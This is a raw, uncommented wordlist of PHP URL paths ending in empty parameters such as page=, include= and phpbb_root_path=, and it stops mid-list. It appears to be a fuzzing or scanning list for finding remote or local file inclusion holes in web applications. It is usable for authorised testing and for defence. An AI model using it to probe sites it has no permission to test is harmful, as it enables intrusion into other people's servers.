/down*.php?corpo=
/down*.php?disp=
/down*.php?doshow=
/down*.php?ev=
/down*.php?filepath=
/down*.php?goFile=
/down*.php?home=
/down*.php?in=
/down*.php?inc=
/down*.php?incl=
/down*.php?include=
/down*.php?ir=
/down*.php?lang=
/down*.php?left=
/down*.php?nivel=
/down*.php?oldal=
/down*.php?open=
/down*.php?pa=
/down*.php?pag=
/down*.php?pageweb=
/down*.php?param=
/down*.php?path=
/down*.php?pg=
/down*.php?phpbb_root_path =
/down*.php?pollname=
/down*.php?pr=
/down*.php?pre=
/down*.php?qry=
/down*.php?r=
/down*.php?read=
/down*.php?s=
/down*.php?second=
/down*.php?section=
/down*.php?seite=
/down*.php?showpage=
/down*.php?sp=
/down*.php?strona=
/down*.php?subject=
/down*.php?t=
/down*.php?texto=
/down*.php?to=
/down*.php?u=
/down*.php?url=
/down*.php?v=
/down*.php?where=
/down*.php?x=
/down*.php?z=
/download.php?sub=
/drupal/?_menu[callbacks][1][callback]=
/e107/e107_handlers/secure_img_render.php?p=
/emsgb/easymsgb.pl?print=
/enc/content.php?Home_Path=
/encapscms_PATH/core/core.php?root=
/encore/forumcgi/display.cgi?preftemp=temp &page=anonymous&file=
/eng.php?img=
/enter.php?a=
/enter.php?abre=
/enter.php?addr=
/enter.php?b=
/enter.php?base_dir=
/enter.php?body=
/enter.php?chapter=
/enter.php?cmd=
/enter.php?content=
/enter.php?e=
/enter.php?ev=
/enter.php?get=
/enter.php?go=
/enter.php?goto=
/enter.php?home=
/enter.php?id=
/enter.php?incl=
/enter.php?include=
/enter.php?index=
/enter.php?ir=
/enter.php?itemnav=
/enter.php?lang=
/enter.php?left=
/enter.php?link=
/enter.php?loader=
/enter.php?menue=
/enter.php?mid=
/enter.php?middle=
/enter.php?mod=
/enter.php?module=
/enter.php?name=
/enter.php?numero=
/enter.php?open=
/enter.php?pa=
/enter.php?page=
/enter.php?pagina=
/enter.php?panel=
/enter.php?path=
/enter.php?pg=
/enter.php?phpbb_root_path =
/enter.php?play=
/enter.php?pname=
/enter.php?pr=
/enter.php?pref=
/enter.php?qry=
/enter.php?r=
/enter.php?read=
/enter.php?ref=
/enter.php?s=
/enter.php?sec=
/enter.php?second=
/enter.php?seite=
/enter.php?sivu=
/enter.php?sp=
/enter.php?start=
/enter.php?str=
/enter.php?strona=
/enter.php?subject=
/enter.php?texto=
/enter.php?thispage=
/enter.php?type=
/enter.php?viewpage=
/enter.php?w=
/enter.php?y=
/environment.php?DIR_PREFI X=
/es_custom_menu.php?files_ dir=
/es_desp.php?files_dir=
/es_offer.php?files_dir=
/esupport/admin/autoclose.php?subd=
/events.cgi?a=155&t=
/events.cgi?t=
/experts.php?sub=
/extras/ext_cats.php?dir_path=
/file.php?action=
/file.php?basepath=
/file.php?body=
/file.php?channel=
/file.php?chapter=
/file.php?choix=
/file.php?cmd=
/file.php?cont=
/file.php?corpo=
/file.php?disp=
/file.php?doshow=
/file.php?ev=
/file.php?eval=
/file.php?get=
/file.php?id=
/file.php?inc=
/file.php?incl=
/file.php?include=
/file.php?index=
/file.php?ir=
/file.php?ki=
/file.php?left=
/file.php?load=
/file.php?loader=
/file.php?middle=
/file.php?modo=
/file.php?n=
/file.php?nivel=
/file.php?numero=
/file.php?oldal=
/file.php?pagina=
/file.php?param=
/file.php?pg=
/file.php?play=
/file.php?pollname=
/file.php?pref=
/file.php?q=
/file.php?qry=
/file.php?ref=
/file.php?seccion=
/file.php?second=
/file.php?showpage=
/file.php?sivu=
/file.php?sp=
/file.php?start=
/file.php?strona=
/file.php?texto=
/file.php?to=
/file.php?type=
/file.php?url=
/file.php?var=
/file.php?viewpage=
/file.php?where=
/file.php?y=
/fileseek.cgi?head=&foot=
/folder.php?id=
/forum.php?act=
/forum.php?seite=
/forum/forum.php?view=
/frag.php?exec=
/frame.php?loc=
/galerie.php?do=
/gallery.php?*[*]*=
/gallery.php?abre=
/gallery.php?action=
/gallery.php?addr=
/gallery.php?base_dir=
/gallery.php?basepath=
/gallery.php?chapter=
/gallery.php?cont=
/gallery.php?corpo=
/gallery.php?disp=
/gallery.php?ev=
/gallery.php?eval=
/gallery.php?filepath=
/gallery.php?get=
/gallery.php?go=
/gallery.php?h=
/gallery.php?id=
/gallery.php?index=
/gallery.php?itemnav=
/gallery.php?ki=
/gallery.php?left=
/gallery.php?loader=
/gallery.php?menu=
/gallery.php?menue=
/gallery.php?mid=
/gallery.php?mod=
/gallery.php?module=
/gallery.php?my=
/gallery.php?name=
/gallery.php?nivel=
/gallery.php?oldal=
/gallery.php?open=
/gallery.php?option=
/gallery.php?pag=
/gallery.php?page=
/gallery.php?pageweb=
/gallery.php?panel=
/gallery.php?param=
/gallery.php?pg=
/gallery.php?phpbb_root_pa th=
/gallery.php?pname=
/gallery.php?pollname=
/gallery.php?pre=
/gallery.php?pref=
/gallery.php?qry=
/gallery.php?redirect=
/gallery.php?ref=
/gallery.php?rub=
/gallery.php?sec=
/gallery.php?secao=
/gallery.php?seccion=
/gallery.php?seite=
/gallery.php?showpage=
/gallery.php?sivu=
/gallery.php?sp=
/gallery.php?strona=
/gallery.php?thispage=
/gallery.php?tipo=
/gallery.php?to=
/gallery.php?url=
/gallery.php?var=
/gallery.php?viewpage=
/gallery.php?where=
/gallery.php?xlink=
/gallery.php?y=
/gallery/init.php?HTTP_POST_VARS=
/general.php?abre=
/general.php?addr=
/general.php?adresa=
/general.php?b=
/general.php?base_dir=
/general.php?body=
/general.php?channel=
/general.php?chapter=
/general.php?choix=
/general.php?cmd=
/general.php?content=
/general.php?doshow=
/general.php?e=
/general.php?f=
/general.php?get=
/general.php?goto=
/general.php?header=
/general.php?id=
/general.php?inc=
/general.php?include=
/general.php?ir=
/general.php?itemnav=
/general.php?left=
/general.php?link=
/general.php?menu=
/general.php?menue=
/general.php?mid=
/general.php?middle=
/general.php?modo=
/general.php?module=
/general.php?my=
/general.php?name=
/general.php?nivel=
/general.php?opcion=
/general.php?p=
/general.php?page=
/general.php?pageweb=
/general.php?pollname=
/general.php?pr=
/general.php?pre=
/general.php?qry=
/general.php?read=
/general.php?redirect=
/general.php?ref=
/general.php?rub=
/general.php?secao=
/general.php?seccion=
/general.php?second=
/general.php?section=
/general.php?seite=
/general.php?sekce=
/general.php?sivu=
/general.php?strona=
/general.php?subject=
/general.php?texto=
/general.php?thispage=
/general.php?tipo=
/general.php?to=
/general.php?type=
/general.php?var=
/general.php?w=
/general.php?where=
/general.php?xlink=
/glossary.php?term=
/hall.php?file=
/hall.php?page=
/handlinger.php?vis=
/head.php?*[*]*=
/head.php?abre=
/head.php?adresa=
/head.php?b=
/head.php?base_dir=
/head.php?c=
/head.php?choix=
/head.php?cmd=
/head.php?content=
/head.php?corpo=
/head.php?d=
/head.php?dir=
/head.php?disp=
/head.php?ev=
/head.php?filepath=
/head.php?g=
/head.php?goto=
/head.php?inc=
/head.php?incl=
/head.php?include=
/head.php?index=
/head.php?ir=
/head.php?ki=
/head.php?lang=
/head.php?left=
/head.php?load=
/head.php?loader=
/head.php?loc=
/head.php?middle=
/head.php?middlePart=
/head.php?mod=
/head.php?modo=
/head.php?module=
/head.php?numero=
/head.php?oldal=
/head.php?opcion=
/head.php?pag=
/head.php?pageweb=
/head.php?play=
/head.php?pname=
/head.php?pollname=
/head.php?read=
/head.php?ref=
/head.php?rub=
/head.php?sec=
/head.php?sekce=
/head.php?sivu=
/head.php?start=
/head.php?str=
/head.php?strona=
/head.php?tipo=
/head.php?viewpage=
/head.php?where=
/head.php?y=
/help.php?css_path=
/historytemplate.php?cms[support]=1&cms[tngpath]=
/home.php?a=
/home.php?act=
/home.php?action=
/home.php?addr=
/home.php?arg=
/home.php?base_dir=
/home.php?basepath=
/home.php?body=
/home.php?category=
/home.php?channel=
/home.php?chapter=
/home.php?choix=
/home.php?cmd=
/home.php?content=
/home.php?disp=
/home.php?doshow=
/home.php?e=
/home.php?ev=
/home.php?eval=
/home.php?func=
/home.php?g=
/home.php?h=
/home.php?i=
/home.php?in=
/home.php?inc=
/home.php?include=
/home.php?index=
/home.php?ir=
/home.php?itemnav=
/home.php?k=
/home.php?link=
/home.php?ln=
/home.php?loader=
/home.php?loc=
/home.php?ltr=
/home.php?menu=
/home.php?middle=
/home.php?middlePart=
/home.php?module=
/home.php?my=
/home.php?oldal=
/home.php?opcion=
/home.php?pa=
/home.php?pag=
/home.php?page=
/home.php?pageweb=
/home.php?pagina=
/home.php?panel=
/home.php?path=
/home.php?play=
/home.php?pollname=
/home.php?pr=
/home.php?pre=
/home.php?qry=
/home.php?read=
/home.php?recipe=
/home.php?redirect=
/home.php?ref=
/home.php?rub=
/home.php?sec=
/home.php?secao=
/home.php?section=
/home.php?seite=
/home.php?sekce=
/home.php?showpage=
/home.php?sit=
/home.php?sp=
/home.php?str=
/home.php?table=
/home.php?thispage=
/home.php?tipo=
/home.php?w=
/home.php?where=
/home.php?x=
/home.php?z=
/home1.php?ln=
/home2.php?ln=
/homepage.php?sel=
/html/affich.php?base=
/htmltonuke.php?filnavn=
/i-mall/i-mall.cgi?p=
/ideabox/include.php?gorumDir=
/ihm.php?p=
/image.php?img=
/images/evil.php?owned=
/img.php?loc=
/impex/ImpExData.php?systempath=
/inc.php?inc=
/inc/cmses/aedating4CMS.php?dir[inc]=
/inc/cmses/aedatingCMS.php?dir[inc]=
/inc/functions.inc.php?config[ppa_root_path]=
/inc/header.php/step_one.php?server_inc=
/inc/pipe.php?HCL_path=
/inc/session.php?sessionerror= 0&lang=
/inc/step_one_tables.php?serve r_inc=
/include.php?*[*]*=
/include.php?adresa=
/include.php?b=
/include.php?basepath=
/include.php?channel=
/include.php?chapter=
/include.php?cmd=
/include.php?cont=
/include.php?content=
/include.php?corpo=
/include.php?destino=
/include.php?dir=
/include.php?eval=
/include.php?filepath=
/include.php?go=
/include.php?goFile=
/include.php?goto=
/include.php?header=
/include.php?in=
/include.php?include=
/include.php?index=
/include.php?ir=
/include.php?ki=
/include.php?left=
/include.php?loader=
/include.php?loc=
/include.php?mid=
/include.php?middle=
/include.php?middlePart=
/include.php?module=
/include.php?my=
/include.php?name=
/include.php?nivel=
/include.php?numero=
/include.php?oldal=
/include.php?option=
/include.php?pag=
/include.php?pageweb=
/include.php?panel=
/include.php?path=
/include.php?phpbb_root_pa th=
/include.php?play=
/include.php?read=
/include.php?redirect=
/include.php?ref=
/include.php?sec=
/include.php?secao=
/include.php?seccion=
/include.php?second=
/include.php?sivu=
/include.php?tipo=
/include.php?to=
/include.php?u=
/include.php?url=
/include.php?w=
/include.php?x=
/include/editfunc.inc.php?NWCONF_S YSTEM[server_path]=
/include/new-visitor.inc.php?lvc_inclu de_dir=
/include/write.php?dir=
/includes/archive/archive_topic.php?phpbb_r oot_path=
/includes/functions.php?phpbb_root_ path=
/includes/header.php?systempath=
/includes/lang/language.php?path_to_root =
/includes/search.php?GlobalSettings[templatesDirectory]=
/index.php3?act=
/index.php3?file=
/index.php3?i=
/index.php3?id=
/index.php3?l=
/index.php3?lang=
/index.php3?p=
/index.php3?pag=
/index.php3?page=
/index.php3?pg=
/index.php3?s=
/index.php4?lang=
/index.php5?lang=
/index.php?Language=
/index.php?Load=
/index.php?RP_PATH=
/index.php?_REQUEST=&_REQU EST%5boption%5d=com_conte nt&_REQUEST%5bItemid%5d=1 &GLOBALS=&mosConfig_absol ute_path=
/index.php?a=
/index.php?acao=
/index.php?act=
/index.php?action=
/index.php?addr=
/index.php?adresa=
/index.php?arg=
/index.php?arq=
/index.php?arquivo=
/index.php?b=
/index.php?ba=
/index.php?bas=
/index.php?base=
/index.php?base_dir=
/index.php?basepath=
/index.php?body=
/index.php?c=
/index.php?cal=
/index.php?canal=
/index.php?cat=
/index.php?channel=
/index.php?chapter=
/index.php?cmd=
/index.php?command=
/index.php?configFile=
/index.php?cont=
/index.php?content=
/index.php?conteudo=
/index.php?d1=
/index.php?def=
/index.php?dept=
/index.php?disp=
/index.php?do=
/index.php?doc=
/index.php?dok=
/index.php?dsp=
/index.php?e=
/index.php?ev=
/index.php?exec=
/index.php?f1=
/index.php?f=
/index.php?fPage=
/index.php?fase=
/index.php?file=
/index.php?filepath=
/index.php?fn=
/index.php?fset=
/index.php?func=
/index.php?function=custom &custom=
/index.php?go1=
/index.php?go=
/index.php?goto=
/index.php?hl=
/index.php?id=
/index.php?id=&lang=
/index.php?id=1&lang=
/index.php?inc=
/index.php?incl=
/index.php?include=
/index.php?index=
/index.php?inhalt=
/index.php?ir=
/index.php?j=
/index.php?kobr=
/index.php?l=
/index.php?lang=
/index.php?lang=&page=
/index.php?lang=en&page=
/index.php?lang=gr&file
/index.php?langc=
/index.php?lg=
/index.php?link=
/index.php?lk=
/index.php?ln=
/index.php?lng=
/index.php?lnk=
/index.php?load=
/index.php?loc=
/index.php?loca=
/index.php?ltr=
/index.php?m=
/index.php?main=
/index.php?meio.php=
/index.php?meio=
/index.php?menu=
/index.php?menu=deti&page=
/index.php?mf=
/index.php?mid=
/index.php?middle=
/index.php?middlePart=
/index.php?mn=
/index.php?mod=
/index.php?mode=
/index.php?modo=
/index.php?module=
/index.php?new=
/index.php?news=
/index.php?nic=
/index.php?oldal=
/index.php?op=
/index.php?opcao=
/index.php?opcion=
/index.php?open=
/index.php?openfile=
/index.php?option=
/index.php?ort=
/index.php?p=
/index.php?pag=
/index.php?page1=
/index.php?page=
/index.php?page=&lang=
/index.php?pageN=
/index.php?pagename=
/index.php?pager=
/index.php?pageurl=
/index.php?pagina1=
/index.php?pagina=
/index.php?param=
/index.php?path=
/index.php?pg=
/index.php?pg_ID=
/index.php?pilih=
/index.php?place=
/index.php?play=
/index.php?plugin=
/index.php?pname=
/index.php?pollname=
/index.php?pr=
/index.php?pre=
/index.php?pref=
/index.php?principal=
/index.php?prod=
/index.php?product=
/index.php?r=
/index.php?rage=
/index.php?recipe=
/index.php?redir=
/index.php?root_path=
/index.php?s=
/index.php?screen=
/index.php?sec=
/index.php?secao=
/index.php?sekce=
/index.php?sel=
/index.php?select=
/index.php?set=
/index.php?sf=
/index.php?show=
/index.php?side=
/index.php?sit=
/index.php?site1=
/index.php?site=
/index.php?sivu=
/index.php?sort=
/index.php?spage=
/index.php?ss=
/index.php?st=
/index.php?str=
/index.php?stranica=
/index.php?strona=
/index.php?sub=
/index.php?subp=
/index.php?subpage=
/index.php?t=
/index.php?table=
/index.php?task=
/index.php?template=
/index.php?templateid=
/index.php?term=
/index.php?textfield=
/index.php?theme=
/index.php?themesdir=
/index.php?tipo=
/index.php?to=
/index.php?topic=
/index.php?trans=
/index.php?type=
/index.php?u=
/index.php?url=
/index.php?v=
/index.php?var1=
/index.php?var2=
/index.php?var=
/index.php?ver=
/index.php?visualizar=
/index.php?vpagina=
/index.php?w=
/index.php?way=
/index.php?where=
/index.php?wpage=
/index.php?x=
/index.php?y=
/index.phpmain.php?x=
/index0.php?show=
/index1.php?*[*]*=
/index1.php?*root*=
/index1.php?=
/index1.php?OpenPage=
/index1.php?abre=
/index1.php?action=
/index1.php?adresa=
/index1.php?arg=
/index1.php?arq=
/index1.php?b=
/index1.php?body=
/index1.php?c=
/index1.php?chapter=
/index1.php?choix=
/index1.php?cmd=
/index1.php?d=
/index1.php?dat=
/index1.php?dir=
/index1.php?filepath=
/index1.php?func=
/index1.php?get=
/index1.php?go=
/index1.php?goFile=
/index1.php?home=
/index1.php?inc=
/index1.php?incl=
/index1.php?itemnav=
/index1.php?l=
/index1.php?link=
/index1.php?lk=
/index1.php?load=
/index1.php?loc=
/index1.php?ltr=
/index1.php?menu=
/index1.php?mid=
/index1.php?mod=
/index1.php?modo=
/index1.php?my=
/index1.php?nivel=
/index1.php?o=
/index1.php?oldal=
/index1.php?op=
/index1.php?p=
/index1.php?pa=
/index1.php?page=
/index1.php?pagina=
/index1.php?param=
/index1.php?path=
/index1.php?pg=
/index1.php?pname=
/index1.php?pollname=
/index1.php?pr=
/index1.php?pre=
/index1.php?qry=
/index1.php?read=
/index1.php?recipe=
/index1.php?redirect=
/index1.php?s=
/index1.php?second=
/index1.php?seite=
/index1.php?sekce=
/index1.php?show=
/index1.php?showpage=
/index1.php?site=
/index1.php?str=
/index1.php?strona=
/index1.php?subject=
/index1.php?t=
/index1.php?table=
/index1.php?texto=
/index1.php?tipo=
/index1.php?type=
/index1.php?url=
/index1.php?v=
/index1.php?var=
/index1.php?x=
/index2.php?=
/index2.php?DoAction=
/index2.php?ID=
/index2.php?OpenPage=
/index2.php?action=
/index2.php?adresa=
/index2.php?arg=
/index2.php?arq=
/index2.php?ascii_seite=
/index2.php?base_dir=
/index2.php?basepath=
/index2.php?c=
/index2.php?category=
/index2.php?channel=
/index2.php?chapter=
/index2.php?choix=
/index2.php?cmd=
/index2.php?cont=
/index2.php?content=
/index2.php?corpo=
/index2.php?d=
/index2.php?doshow=
/index2.php?e=
/index2.php?f=
/index2.php?filepath=
/index2.php?get=
/index2.php?goto=
/index2.php?home=
/index2.php?i=
/index2.php?in=
/index2.php?inc=
/index2.php?incl=
/index2.php?include=
/index2.php?ir=
/index2.php?itemnav=
/index2.php?ki=
/index2.php?l=
/index2.php?left=
/index2.php?lg=
/index2.php?link=
/index2.php?lk=
/index2.php?ln=
/index2.php?lng=
/index2.php?load=
/index2.php?loader=
/index2.php?loc=
/index2.php?loca=
/index2.php?meio=
/index2.php?module=
/index2.php?my=
/index2.php?oldal=
/index2.php?open=
/index2.php?option=
/index2.php?p=
/index2.php?pa=
/index2.php?pag=
/index2.php?param=
/index2.php?pg=
/index2.php?phpbb_root_pat h=
/index2.php?pname=
/index2.php?pollname=
/index2.php?pre=
/index2.php?pref=
/index2.php?qry=
/index2.php?recipe=
/index2.php?redirect=
/index2.php?ref=
/index2.php?rub=
/index2.php?s=
/index2.php?second=
/index2.php?section=
/index2.php?sekce=
/index2.php?showpage=
/index2.php?strona=
/index2.php?table=
/index2.php?texto=
/index2.php?thispage=
/index2.php?to=
/index2.php?type=
/index2.php?u=
/index2.php?url_page=
/index2.php?var=
/index2.php?x=
/index3.php?abre=
/index3.php?addr=
/index3.php?adresa=
/index3.php?base_dir=
/index3.php?body=
/index3.php?channel=
/index3.php?chapter=
/index3.php?choix=
/index3.php?cmd=
/index3.php?d=
/index3.php?destino=
/index3.php?dir=
/index3.php?disp=
/index3.php?ev=
/index3.php?get=
/index3.php?go=
/index3.php?home=
/index3.php?inc=
/index3.php?include=
/index3.php?index=
/index3.php?ir=
/index3.php?itemnav=
/index3.php?left=
/index3.php?link=
/index3.php?loader=
/index3.php?menue=
/index3.php?mid=
/index3.php?middle=
/index3.php?mod=
/index3.php?my=
/index3.php?name=
/index3.php?nivel=
/index3.php?oldal=
/index3.php?open=
/index3.php?option=
/index3.php?p=
/index3.php?pag=
/index3.php?pageweb=
/index3.php?panel=
/index3.php?path=
/index3.php?phpbb_root_pat h=
/index3.php?pname=
/index3.php?pollname=
/index3.php?pre=
/index3.php?pref=
/index3.php?q=
/index3.php?read=
/index3.php?redirect=
/index3.php?ref=
/index3.php?rub=
/index3.php?secao=
/index3.php?secc=
/index3.php?seccion=
/index3.php?second=
/index3.php?sekce=
/index3.php?showpage=
/index3.php?sivu=
/index3.php?sp=
/index3.php?start=
/index3.php?t=
/index3.php?thispage=
/index3.php?tipo=
/index3.php?type=
/index3.php?url=
/index3.php?var=
/index3.php?x=
/index3.php?xlink=
/index_principal.php?pagin a=
/info.php?*[*]*=
/info.php?adresa=
/info.php?base_dir=
/info.php?body=
/info.php?c=
/info.php?chapter=
/info.php?content=
/info.php?doshow=
/info.php?ev=
/info.php?eval=
/info.php?f=
/info.php?filepath=
/info.php?go=
/info.php?header=
/info.php?home=
/info.php?in=
/info.php?incl=
/info.php?ir=
/info.php?itemnav=
/info.php?j=
/info.php?ki=
/info.php?l=
/info.php?ln=
/info.php?loader=
/info.php?menue=
/info.php?mid=
/info.php?middlePart=
/info.php?o=
/info.php?oldal=
/info.php?op=
/info.php?opcion=
/info.php?option=
/info.php?pageweb=
/info.php?pagina=
/info.php?param=
/info.php?phpbb_root_path=
/info.php?pname=
/info.php?pref=
/info.php?r=
/info.php?read=
/info.php?recipe=
/info.php?redirect=
/info.php?ref=
/info.php?rub=
/info.php?sec=
/info.php?secao=
/info.php?seccion=
/info.php?start=
/info.php?strona=
/info.php?subject=
/info.php?t=
/info.php?texto=
/info.php?url=
/info.php?var=
/info.php?xlink=
/info.php?z=
/install/index.php?lng=../../include/main.inc&G_PATH=
/interna/tiny_mce/plugins/ibrowser/ibrowser.php?tinyMCE_imgl ib_include=
/jobs.cgi?a=9&t=
/joomla/index.php?option=com_rest aurante&task=
/kalender.php?vis=
/lang.php?arg=
/lang.php?arq=
/lang.php?lk=
/lang.php?ln=
/lang.php?subp=
/lang.php?subpage=
/language/lang_english/lang_main_album.php?phpbb _root_path=
/latinbitz.cgi?t=
/layout.php?OpenPage=
/layout.php?abre=
/layout.php?action=
/layout.php?addr=
/layout.php?basepath=
/layout.php?c=
/layout.php?category=
/layout.php?chapter=
/layout.php?choix=
/layout.php?cmd=
/layout.php?cont=
/layout.php?disp=
/layout.php?g=
/layout.php?goto=
/layout.php?incl=
/layout.php?ir=
/layout.php?link=
/layout.php?loader=
/layout.php?menue=
/layout.php?modo=
/layout.php?my=
/layout.php?nivel=
/layout.php?numero=
/layout.php?oldal=
/layout.php?opcion=
/layout.php?page=
/layout.php?pageweb=
/layout.php?pagina=
/layout.php?panel=
/layout.php?path=
/layout.php?play=
/layout.php?pollname=
/layout.php?pref=
/layout.php?qry=
/layout.php?secao=
/layout.php?section=
/layout.php?seite=
/layout.php?sekce=
/layout.php?strona=
/layout.php?thispage=
/layout.php?tipo=
/layout.php?url=
/layout.php?var=
/layout.php?where=
/layout.php?xlink=
/layout.php?z=
/lc.cgi?a=
/lib/base.php?BaseCfg[BaseDir]=
/lib/functions.php?DOC_ROOT=
/lib/gore.php?libpath=
/lib/header.php?DOC_ROOT=
/library/editor/editor.php?root=
/library/lib.php?root=
/link.php?do=
/list.php?product=
/list.php?table=
/llindex.php?sub=
/ln.php?ln=
/loc.php?l=
/loc.php?lang=
/loc.php?loc=
/login.php?loca=
/m2f/m2f_phpbb204.php?m2f_root _path=
/magazine.php?inc=
/mai.php?act=
/mai.php?loc=
/mai.php?src=
/main.html.php?seite=
/main.php3?act=
/main.php5?page=
/main.php?a=
/main.php?action=
/main.php?addr=
/main.php?adresa=
/main.php?arg=
/main.php?ba=
/main.php?basepath=
/main.php?body=
/main.php?category=
/main.php?chapter=
/main.php?command=
/main.php?content=
/main.php?corpo=
/main.php?d1=
/main.php?dir=
/main.php?disp=
/main.php?doshow=
/main.php?e=
/main.php?eval=
/main.php?f1=
/main.php?filepath=
/main.php?fset=
/main.php?goto=
/main.php?h=
/main.php?id=
/main.php?inc=
/main.php?include=
/main.php?index=
/main.php?ir=
/main.php?itemnav=
/main.php?j=
/main.php?link=
/main.php?ln=
/main.php?load=
/main.php?loc=
/main.php?ltr=
/main.php?middle=
/main.php?mod=
/main.php?my=
/main.php?name=
/main.php?oldal=
/main.php?opcion=
/main.php?page=
/main.php?pagina=
/main.php?param=
/main.php?path=
/main.php?pg=
/main.php?pname=
/main.php?pre=
/main.php?pref=
/main.php?r=
/main.php?ref=
/main.php?s=
/main.php?second=
/main.php?section=
/main.php?sit=
/main.php?site=
/main.php?start=
/main.php?str=
/main.php?strona=
/main.php?subject=
/main.php?table=
/main.php?thispage=
/main.php?tipo=
/main.php?type=
/main.php?url=
/main.php?v=
/main.php?vis=
/main.php?where=
/main.php?x=
/main.php?xlink=
/main1.php?arg=
/main1.php?ln=
/main2.php?ln=
/mainfile.php?MAIN_PATH=
/mambots/content/multithumb/multithumb.php?mosConfig_ absolute_path=
/manager/admin/index.php?MGR=
/manager/admin/p_ins.php?MGR=
/manager/admin/u_ins.php?MGR=
/map.php?loc=
/mcf.php?content=
/media.cgi?a=11&t=
/media.php?page=
/mediagallery/public_html/maint/ftpmedia.php?_MG_CONF[path_html]=
/menu.php?functions_file=
/middle.php?file=
/middle.php?page=
/misc.php?do=
/mod*.php?OpenPage=
/mod*.php?action=
/mod*.php?addr=
/mod*.php?b=
/mod*.php?channel=
/mod*.php?chapter=
/mod*.php?choix=
/mod*.php?cont=
/mod*.php?content=
/mod*.php?corpo=
/mod*.php?d=
/mod*.php?destino=
/mod*.php?dir=
/mod*.php?ev=
/mod*.php?goFile=
/mod*.php?home=
/mod*.php?incl=
/mod*.php?include=
/mod*.php?index=
/mod*.php?ir=
/mod*.php?j=
/mod*.php?lang=
/mod*.php?link=
/mod*.php?m=
/mod*.php?middle=
/mod*.php?module=
/mod*.php?numero=
/mod*.php?oldal=
/mod*.php?pag=
/mod*.php?pageweb=
/mod*.php?pagina=
/mod*.php?path=
/mod*.php?pg=
/mod*.php?phpbb_root_path=
/mod*.php?play=
/mod*.php?pname=
/mod*.php?pre=
/mod*.php?qry=
/mod*.php?recipe=
/mod*.php?secao=
/mod*.php?secc=
/mod*.php?seccion=
/mod*.php?section=
/mod*.php?sekce=
/mod*.php?start=
/mod*.php?strona=
/mod*.php?thispage=
/mod*.php?tipo=
/mod*.php?to=
/mod*.php?v=
/mod*.php?var=
/mod.php?mod=
/modifyform.html?code=
/modul.php?mod=
/module.php?mod=
/module_db.php?pivot_path=
/modules.php?op=
/modules/4nAlbum/public/displayCategory.php?basep ath=
/modules/AllMyGuests/signin.php?_AMGconfig[cfg_serverpath]=
/modules/Discipline/CategoryBreakdownTime.php ?FocusPath=
/modules/Discipline/CategoryBreakdownTime.php ?staticpath=
/modules/Discipline/StudentFieldBreakdown.php ?staticpath=
/modules/My_eGallery/index.php?basepath=
/modules/My_eGallery/public/displayCategory.php?basep ath=
/modules/addons/plugin.php?doc_root=
/modules/agendax/addevent.inc.php?agendax_ path=
/modules/coppermine/include/init.inc.php?CPG_M_DIR=
/modules/coppermine/themes/default/theme.php?THEME_DIR=
/modules/links/showlinks.php?language_ho me=&rootdp=zZz&gsLanguage =
/modules/links/submit_links.php?rootdp=z Zz&gsLanguage=
/modules/mod_mainmenu.php?mosConfi g_absolute_path=
/modules/poll/inlinepoll.php?language_h ome=&rootdp=zZz&gsLanguag e=
/modules/poll/showpoll.php?language_hom e=&rootdp=zZz&gsLanguage =
/modules/search/search.php?language_home= &rootdp=zZz&gsLanguage =
/modules/tasks/viewgantt.php?root_dir=
/modules/vwar/convert/mvcw_conver.php?step=1&vw ar_root=
/modules/xgallery/upgrade_album.php?GALLERY _BASEDIR=
/modules/xoopsgallery/upgrade_album.php?GALLERY _BASEDIR=
/more.php?sub=
/mwchat/libs/start_lobby.php?CONFIG[MWCHAT_Libs]=
/myPHPCalendar/admin.php?cal_dir=
/myevent.php?myevent_path=
/nav.php?g=
/nav.php?go=
/nav.php?lk=
/nav.php?ln=
/nav.php?loc=
/nav.php?nav=
/nav.php?p=
/nav.php?pag=
/nav.php?page=
/nav.php?pagina=
/nav.php?pg=
/ncaster/admin/addons/archive/archive.php?adminfolder=
/ndex.php?p=
/news.cgi?a=114&t=
/news.cgi?a=latest&t=
/news.cgi?t=
/news.php?CONFIG[script_path]=
/news/newstopic_inc.php?indir=
/news_detail.php?file=
/newsdesk.cgi?a=latest&t=
/newsdesk.cgi?t=
/newsletter/newsletter.php?waroot=
/newsupdate.cgi?a=latest&t =
/nota.php?OpenPage=
/nota.php?abre=
/nota.php?adresa=
/nota.php?b=
/nota.php?base_dir=
/nota.php?basepath=
/nota.php?category=
/nota.php?channel=
/nota.php?chapter=
/nota.php?cmd=
/nota.php?content=
/nota.php?corpo=
/nota.php?destino=
/nota.php?disp=
/nota.php?doshow=
/nota.php?eval=
/nota.php?filepath=
/nota.php?get=
/nota.php?goFile=
/nota.php?h=
/nota.php?header=
/nota.php?home=
/nota.php?in=
/nota.php?inc=
/nota.php?include=
/nota.php?ir=
/nota.php?itemnav=
/nota.php?ki=
/nota.php?lang=
/nota.php?left=
/nota.php?link=
/nota.php?m=
/nota.php?mid=
/nota.php?mod=
/nota.php?modo=
/nota.php?module=
/nota.php?n=
/nota.php?nivel=
/nota.php?oldal=
/nota.php?opcion=
/nota.php?option=
/nota.php?pag=
/nota.php?pagina=
/nota.php?panel=
/nota.php?pg=
/nota.php?play=
/nota.php?pollname=
/nota.php?pr=
/nota.php?pre=
/nota.php?qry=
/nota.php?rub=
/nota.php?sec=
/nota.php?secc=
/nota.php?seccion=
/nota.php?second=
/nota.php?seite=
/nota.php?sekce=
/nota.php?showpage=
/nota.php?subject=
/nota.php?t=
/nota.php?tipo=
/nota.php?url=
/nota.php?v=
/noticias.php?arq=
/nuseo/admin/nuseo_admin_d.php?nuseo_d ir=
/ocp-103/index.php?req_path=
/old_reports.php?file=
/order.php?l=
/order.php?lang=
/order.php?list=
/order.php?ln=
/order.php?p=
/order.php?pag=
/order.php?page=
/order.php?pg=
/order.php?wp=
/order/login.php?svr_rootscript=
/p.php?p=
/padrao.php?*[*]*=
/padrao.php?*root*=
/padrao.php?OpenPage=
/padrao.php?a=
/padrao.php?abre=
/padrao.php?addr=
/padrao.php?base_dir=
/padrao.php?basepath=
/padrao.php?body=
/padrao.php?c=
/padrao.php?choix=
/padrao.php?cont=
/padrao.php?corpo=
/padrao.php?d=
/padrao.php?destino=
/padrao.php?eval=
/padrao.php?filepath=
/padrao.php?h=
/padrao.php?header=
/padrao.php?incl=
/padrao.php?index=
/padrao.php?ir=
/padrao.php?link=
/padrao.php?loc=
/padrao.php?menu=
/padrao.php?menue=
/padrao.php?mid=
/padrao.php?middle=
/padrao.php?n=
/padrao.php?name=
/padrao.php?nivel=
/padrao.php?oldal=
/padrao.php?op=
/padrao.php?open=
/padrao.php?pag=
/padrao.php?page=
/padrao.php?path=
/padrao.php?pname=
/padrao.php?pre=
